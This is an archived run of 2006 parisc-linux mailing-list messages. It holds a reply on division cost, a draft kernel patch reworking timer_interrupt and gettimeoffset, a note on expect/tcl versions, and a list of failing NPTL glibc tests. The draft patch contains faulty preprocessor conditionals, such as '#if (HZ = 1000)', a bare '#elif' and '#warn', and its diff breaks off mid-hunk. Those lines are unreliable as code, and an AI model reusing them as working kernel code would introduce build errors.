Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 424E27D7AD
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Sep 2006 18:24:02 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k860O1Zh009254;
	Tue, 5 Sep 2006 20:24:01 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k860O0Br009253;
	Tue, 5 Sep 2006 20:24:00 -0400 (EDT)
In-Reply-To: <20060905051247.GB12278@colo.lackof.org> from "Grant Grundler" at
	Sep 4, 2006 11:12:47 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GCLMdbJZIyd1EvqQe2drenpaa2FkZhVS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23984

> >  Integer division and multiplation are very expensive, particularly when
> > running in 64-bit mode.  We don't have optimized millicode to do it.
> > So, I don't much like falling into the unlikely case if we are just
> > delayed one tick.
> 
> How many loops would be a reasonable tradeoff? 5? 10?
> We'd need a histogram from a "slow" machine to see that tradeoff.

The decision to loop versus division/multiplication can be made
based on the average number of cycles needed for the former versus
the latter.  If now - next_tick is less than nticks, then loop.
I'm sure the average number of cycles for division/multiplication
depends on whether the code is 32 bits or 64 bits.  Take a look
at __divdi3 if you want to see how horrible integer division is.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt #5
Date: Wed, 6 Sep 2006 00:29:00 -0600
Lines: 275
Approved: news@gmane.org
Message-ID: <20060906062900.GC3448@colo.lackof.org>
References: <119aab440608292148s4ee3ffb0xaac62a74c0f1403b@mail.gmail.com>
	<20060831065327.GG3999@colo.lackof.org>
	<20060901224825.GD4041@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624182 20992 80.91.229.3 (22 Nov 2014 02:43:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:02 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Sep 2006 06:29:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 06 Sep 2006 08:29:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 68C2E7D843;
	Wed,  6 Sep 2006 00:29:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14443-03; Wed, 6 Sep 2006 00:29:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AF8187D845;
	Wed,  6 Sep 2006 00:29:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6990A7D842
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Sep 2006 00:29:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14026-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Sep 2006 00:29:02 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 1091A7D841
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Sep 2006 00:29:02 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 9AC293D827F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Sep 2006 00:29:01 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13690-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Sep 2006 00:29:01 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0209A3D826F; Wed,  6 Sep 2006 00:29:00 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20060901224825.GD4041@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gFLIDcw2QEVsAujDZnVpAD1KNzg2NQJJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23985

On Fri, Sep 01, 2006 at 04:48:25PM -0600, Grant Grundler wrote:
> version #3: seems to be working fine on 64-bit SMP.
> 32-bit UP kernel is still under construction.

I didn't bother posting version #4.
Here is version #5 (against current parisc git tree):

o makes all vars in timer_interrupt and gettimeoffset unsigned longs
o make a local var to store clocktick - gcc can optimize local vars
o completely remove halftick
o completely remove ticks_elapsed _and_ the loop that depended on it.
  (James observed that x86 doesn't have such a loop...all the risc
   arches seemed to have fallen behind on that.) 
o skips a tick if we can't safely program CR16 for that tick
o Avoids div/mul math in nearly all cases. If timer_interrupt()
  misses more than 32 ticks, division will be used in the
  one modulo operation.

I'd like to commit this by this friday (or sooner) if other folks
have no objection.

thanks,
grant

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index e595b93..e61d603 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -35,8 +35,7 @@ #include <linux/timex.h>
 /* xtime and wall_jiffies keep wall-clock time */
 extern unsigned long wall_jiffies;
 
-static long clocktick __read_mostly;	/* timer cycles per tick */
-static long halftick __read_mostly;
+static unsigned long clocktick __read_mostly;	/* timer cycles per tick */
 
 #ifdef CONFIG_SMP
 extern void smp_do_timer(struct pt_regs *regs);
@@ -44,46 +43,106 @@ #endif
 
 irqreturn_t timer_interrupt(int irq, void *dev_id, struct pt_regs *regs)
 {
-	long now;
-	long next_tick;
-	int nticks;
-	int cpu = smp_processor_id();
+	unsigned long now;
+	unsigned long next_tick;
+	unsigned long cycles_elapsed;
+	unsigned long cycles_remainder;
+	unsigned int cpu = smp_processor_id();
+
+	/* gcc can optimize for "read-only" case with a local clocktick */
+	unsigned long cpt = clocktick;
 
 	profile_tick(CPU_PROFILING, regs);
 
-	now = mfctl(16);
-	/* initialize next_tick to time at last clocktick */
+	/* Initialize next_tick to the expected tick time. */
 	next_tick = cpu_data[cpu].it_value;
 
-	/* since time passes between the interrupt and the mfctl()
-	 * above, it is never true that last_tick + clocktick == now.  If we
-	 * never miss a clocktick, we could set next_tick = last_tick + clocktick
-	 * but maybe we'll miss ticks, hence the loop.
-	 *
-	 * Variables are *signed*.
+	/* Get current interval timer.
+	 * CR16 reads as 64 bits in CPU wide mode.
+	 * CR16 reads as 32 bits in CPU narrow mode.
 	 */
+	now = mfctl(16);
+
+	cycles_elapsed = now - next_tick;
+
+	if ((cycles_elapsed >> 5) < cpt) {
+		/* use "cheap" math (add/subtract) instead
+		 * of the more expensive div/mul method
+		 */
+		cycles_remainder = cycles_elapsed;
+		while (cycles_remainder > cpt) {
+			cycles_remainder -= cpt;
+		}
+	} else {
+		cycles_remainder = cycles_elapsed % cpt;
+	}
 
-	nticks = 0;
-	while((next_tick - now) < halftick) {
-		next_tick += clocktick;
-		nticks++;
+	/* Can we differentiate between "early CR16" (aka Scenario 1) and
+	 * "long delay" (aka Scenario 3)? I don't think so.
+	 *
+	 * We expected timer_interrupt to be delivered at least a few hundred
+	 * cycles after the IT fires. But it's arbitrary how much time passes
+	 * before we call it "late". I've picked one second.
+	 */
+/* aproximate HZ with shifts. Intended math is "(elapsed/clocktick) > HZ" */
+#if (HZ = 1000)
+	if (cycles_elapsed > (cpt << 10) )
+#elif (HZ = 250)
+	if (cycles_elapsed > (cpt << 8) )
+#elif (HZ = 100)
+	if (cycles_elapsed > (cpt << 7) )
+#elif
+#warn WTF is HZ set to anyway?
+	if (cycles_elapsed > (HZ * cpt) )
+#endif
+	{
+		/* Scenario 3: very long delay?  bad in any case */
+		printk (KERN_CRIT "timer_interrupt(CPU %d): delayed!"
+			" cycles %lX rem %lX "
+			" next/now %lX/%lX\n",
+			cpu,
+			cycles_elapsed, cycles_remainder,
+			next_tick, now );
 	}
-	mtctl(next_tick, 16);
+
+	/* convert from "division remainder" to "remainder of clock tick" */
+	cycles_remainder = cpt - cycles_remainder;
+
+	/* Determine when (in CR16 cycles) next IT interrupt will fire.
+	 * We want IT to fire modulo clocktick even if we miss/skip some.
+	 * But those interrupts don't in fact get delivered that regularly.
+	 */
+	next_tick = now + cycles_remainder;
+
 	cpu_data[cpu].it_value = next_tick;
 
-	while (nticks--) {
+	/* Skip one clocktick on purpose if we are likely to miss next_tick.
+	 * We want to avoid the new next_tick being less than CR16.
+	 * If that happened, itimer wouldn't fire until CR16 wrapped.
+	 * We'll catch the tick we missed on the tick after that.
+	 */
+	if (!(cycles_remainder >> 13))
+		next_tick += cpt;
+
+	/* Program the IT when to deliver the next interrupt. */
+        /* Only bottom 32-bits of next_tick are written to cr16.  */
+	mtctl(next_tick, 16);
+
+
+	/* Done mucking with unreliable delivery of interrupts.
+	 * Go do system house keeping.
+	 */
 #ifdef CONFIG_SMP
-		smp_do_timer(regs);
+	smp_do_timer(regs);
 #else
-		update_process_times(user_mode(regs));
+	update_process_times(user_mode(regs));
 #endif
-		if (cpu == 0) {
-			write_seqlock(&xtime_lock);
-			do_timer(regs);
-			write_sequnlock(&xtime_lock);
-		}
+	if (cpu == 0) {
+		write_seqlock(&xtime_lock);
+		do_timer(regs);
+		write_sequnlock(&xtime_lock);
 	}
-    
+
 	/* check soft power switch status */
 	if (cpu == 0 && !atomic_read(&power_tasklet.count))
 		tasklet_schedule(&power_tasklet);
@@ -109,14 +168,12 @@ #endif
 EXPORT_SYMBOL(profile_pc);
 
 
-/*** converted from ia64 ***/
 /*
  * Return the number of micro-seconds that elapsed since the last
  * update to wall time (aka xtime aka wall_jiffies).  The xtime_lock
  * must be at least read-locked when calling this routine.
  */
-static inline unsigned long
-gettimeoffset (void)
+static inline unsigned long gettimeoffset (void)
 {
 #ifndef CONFIG_SMP
 	/*
@@ -124,21 +181,47 @@ #ifndef CONFIG_SMP
 	 *    Once parisc-linux learns the cr16 difference between processors,
 	 *    this could be made to work.
 	 */
-	long last_tick;
-	long elapsed_cycles;
+	unsigned long now;
+	unsigned long prev_tick;
+	unsigned long next_tick;
+	unsigned long elapsed_cycles;
+	unsigned long usec;
+	unsigned long cpuid = smp_processor_id();
+	unsigned long cpt = clocktick;
+
+	next_tick = cpu_data[cpuid].it_value;
+	now = mfctl(16);	/* Read the hardware interval timer.  */
+
+	prev_tick = next_tick - cpt;
+
+	/* Assume Scenario 1: "now" is later than prev_tick.  */
+	elapsed_cycles = now - prev_tick;
+
+/* aproximate HZ with shifts. Intended math is "(elapsed/clocktick) > HZ" */
+#if (HZ = 1000)
+	if (elapsed_cycles > (cpt << 10) )
+#elif (HZ = 250)
+	if (elapsed_cycles > (cpt << 8) )
+#elif (HZ = 100)
+	if (elapsed_cycles > (cpt << 7) )
+#elif
+#warn WTF is HZ set to anyway?
+	if (elapsed_cycles > (HZ * cpt) )
+#endif
+	{
+		/* Scenario 3: clock ticks are missing. */
+		printk (KERN_CRIT "gettimeoffset(CPU %ld): missing %ld ticks!"
+			" cycles %lX prev/now/next %lX/%lX/%lX  clock %lX\n",
+			cpuid, elapsed_cycles / cpt,
+			elapsed_cycles, prev_tick, now, next_tick, cpt);
+	}
 
-	/* it_value is the intended time of the next tick */
-	last_tick = cpu_data[smp_processor_id()].it_value;
+	/* FIXME: Can we improve the precision? Not with PAGE0. */
+	usec = (elapsed_cycles * 10000) / PAGE0->mem_10msec;
 
-	/* Subtract one tick and account for possible difference between
-	 * when we expected the tick and when it actually arrived.
-	 * (aka wall vs real)
-	 */
-	last_tick -= clocktick * (jiffies - wall_jiffies + 1);
-	elapsed_cycles = mfctl(16) - last_tick;
-
-	/* the precision of this math could be improved */
-	return elapsed_cycles / (PAGE0->mem_10msec / 10000);
+	/* add in "lost" jiffies */
+	usec += cpt * (jiffies - wall_jiffies);
+	return usec;
 #else
 	return 0;
 #endif
@@ -149,6 +232,7 @@ do_gettimeofday (struct timeval *tv)
 {
 	unsigned long flags, seq, usec, sec;
 
+	/* Hold xtime_lock and adjust timeval.  */
 	do {
 		seq = read_seqbegin_irqsave(&xtime_lock, flags);
 		usec = gettimeoffset();
@@ -156,25 +240,13 @@ do_gettimeofday (struct timeval *tv)
 		usec += (xtime.tv_nsec / 1000);
 	} while (read_seqretry_irqrestore(&xtime_lock, seq, flags));
 
-	if (unlikely(usec > LONG_MAX)) {
-		/* This can happen if the gettimeoffset adjustment is
-		 * negative and xtime.tv_nsec is smaller than the
-		 * adjustment */
-		printk(KERN_ERR "do_gettimeofday() spurious xtime.tv_nsec of %ld\n", usec);
-		usec += USEC_PER_SEC;
-		--sec;
-		/* This should never happen, it means the negative
-		 * time adjustment was more than a second, so there's
-		 * something seriously wrong */
-		BUG_ON(usec > LONG_MAX);
-	}
-

From - Thu Nov 08 21:35:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Tue, 5 Sep 2006 17:35:40 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200609052135.k85LZelU006772@hiauly1.hia.nrc.ca>
References: <44FDE867.3090204@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624182 20995 80.91.229.3 (22 Nov 2014 02:43:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@scarlet.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Sep 2006 21:35:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 05 Sep 2006 23:35:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 23A5A7D793;
	Tue,  5 Sep 2006 15:35:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07132-07; Tue, 5 Sep 2006 15:35:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 740ED7D794;
	Tue,  5 Sep 2006 15:35:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A45B07D788
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Sep 2006 15:35:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07132-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Sep 2006 15:35:42 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 55E457D787
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Sep 2006 15:35:42 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k85LZeCS006773;
	Tue, 5 Sep 2006 17:35:41 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k85LZelU006772;
	Tue, 5 Sep 2006 17:35:40 -0400 (EDT)
In-Reply-To: <44FDE867.3090204@scarlet.be> from "Joel Soete" at Sep 5,
	2006 09:13:11 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: i9TOfLBFMmApXLSZZGFnNdAxMjQ1N52I
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23986

> May I ask you which expect (and tcl) release did you use?

I use my own compiled version of expect built against tcl 8.3:

Expect version is       5.43.0
Tcl version is          8.3
Framework version is    1.4.4

I've had fewer issues with tcl 8.3.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] NPTL: The Bad News.
Date: Wed, 6 Sep 2006 20:23:18 -0400
Lines: 74
Approved: news@gmane.org
Message-ID: <119aab440609061723r168cc628x3bf2dfb18bac1641@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624183 20997 80.91.229.3 (22 Nov 2014 02:43:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:03 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Sep 2006 00:23:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 07 Sep 2006 02:23:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F3087D840;
	Wed,  6 Sep 2006 18:23:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27571-10; Wed, 6 Sep 2006 18:23:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D6D87D7FE;
	Wed,  6 Sep 2006 18:23:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D1607D7F1
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Sep 2006 18:23:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27571-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Sep 2006 18:23:19 -0600 (MDT)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.230])
	by free.linux.hp.com (Postfix) with ESMTP id DC1077D767
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Sep 2006 18:23:19 -0600 (MDT)
Original-Received: by wx-out-0506.google.com with SMTP id h31so31518wxd
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 06 Sep 2006 17:23:19 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=TGUz8QRX2WUm+qNwclHgGwWC0p1cCCxEuEKc0Pk7buJY6YLWUptA2TAAhcDN4bt+Xl5bQf4bp2U8J98BeEzM6BP2rB3QMlXIEYHHSdVlteM4EKmdIO+VOoRep6HaDw+ajpFh/Ff8id+zuCFlazbiyu0HV3ndUDjWoQ0AZIho7mc=
Original-Received: by 10.90.105.20 with SMTP id d20mr6012agc;
	Wed, 06 Sep 2006 17:23:19 -0700 (PDT)
Original-Received: by 10.90.54.16 with HTTP; Wed, 6 Sep 2006 17:23:18 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: b98edcfecc825d87
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uVTMcAY6X1VpCOuYY2FyfBJ3SDc4NMz3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23987

The bad news is that I didn't work much on my thesis this long weekend.
The good news is that I fixed many serious flaws related to:

1. Stack direction, stack guards, and stack permissions.
2. Low level locking primitives returning the wrong values.
3. EAGAIN != EWOULDBLOCK snafu's
4. Compiler bugs.
5. Makefile bugs.

My current set of libc + tls + nptl failures is now down to:

make[2]: *** [libc-tls-nptl/math/test-float.out] Error 1
make[2]: *** [libc-tls-nptl/math/test-double.out] Error 1
make[2]: *** [libc-tls-nptl/math/test-ifloat.out] Error 1
make[2]: *** [libc-tls-nptl/math/test-idouble.o] Error 1
make[1]: *** [math/tests] Error 2

- These are cool.

make[2]: [libc-tls-nptl/posix/annexc.out] Error 1 (ignored)
make[2]: *** [libc-tls-nptl/nptl/tst-cond16.out] Error 1
make[2]: *** [libc-tls-nptl/nptl/tst-cond17.out] Error 1
make[2]: *** [libc-tls-nptl/nptl/tst-robustpi8.out] Error 1
make[2]: *** [libc-tls-nptl/nptl/tst-align2.out] Error 1
make[2]: *** [libc-tls-nptl/nptl/tst-cancel24] Error 1
make[2]: *** [libc-tls-nptl/nptl/tst-oddstacklimit.out] Error 139
make[2]: *** [libc-tls-nptl/nptl/tst-getpid1.out] Error 1
make[2]: *** [libc-tls-nptl/nptl/tst-getpid2.out] Error 1
make[2]: *** [libc-tls-nptl/nptl/tst-cancelx4.out] Error 1
make[2]: *** [libc-tls-nptl/nptl/tst-cancelx5.out] Error 1
make[2]: *** [libc-tls-nptl/nptl/tst-cancelx20.out] Error 1
make[2]: *** [libc-tls-nptl/nptl/tst-cancelx21.out] Error 1
make[2]: *** [libc-tls-nptl/nptl/tst-cleanupx4.out] Error 1
make[2]: *** [libc-tls-nptl/nptl/tst-fini1.out] Error 42
make[1]: *** [nptl/tests] Error 2

- These are not cool.

make[2]: *** [libc-tls-nptl/rt/tst-timer.out] Error 139
make[2]: *** [libc-tls-nptl/rt/tst-mqueue3.out] Error 1
make[2]: *** [libc-tls-nptl/rt/tst-timer4.out] Error 1
make[2]: *** [libc-tls-nptl/rt/tst-timer5.out] Error 1
make[2]: *** [libc-tls-nptl/rt/tst-cputimer1.out] Error 1
make[2]: *** [libc-tls-nptl/rt/tst-cputimer2.out] Error 1
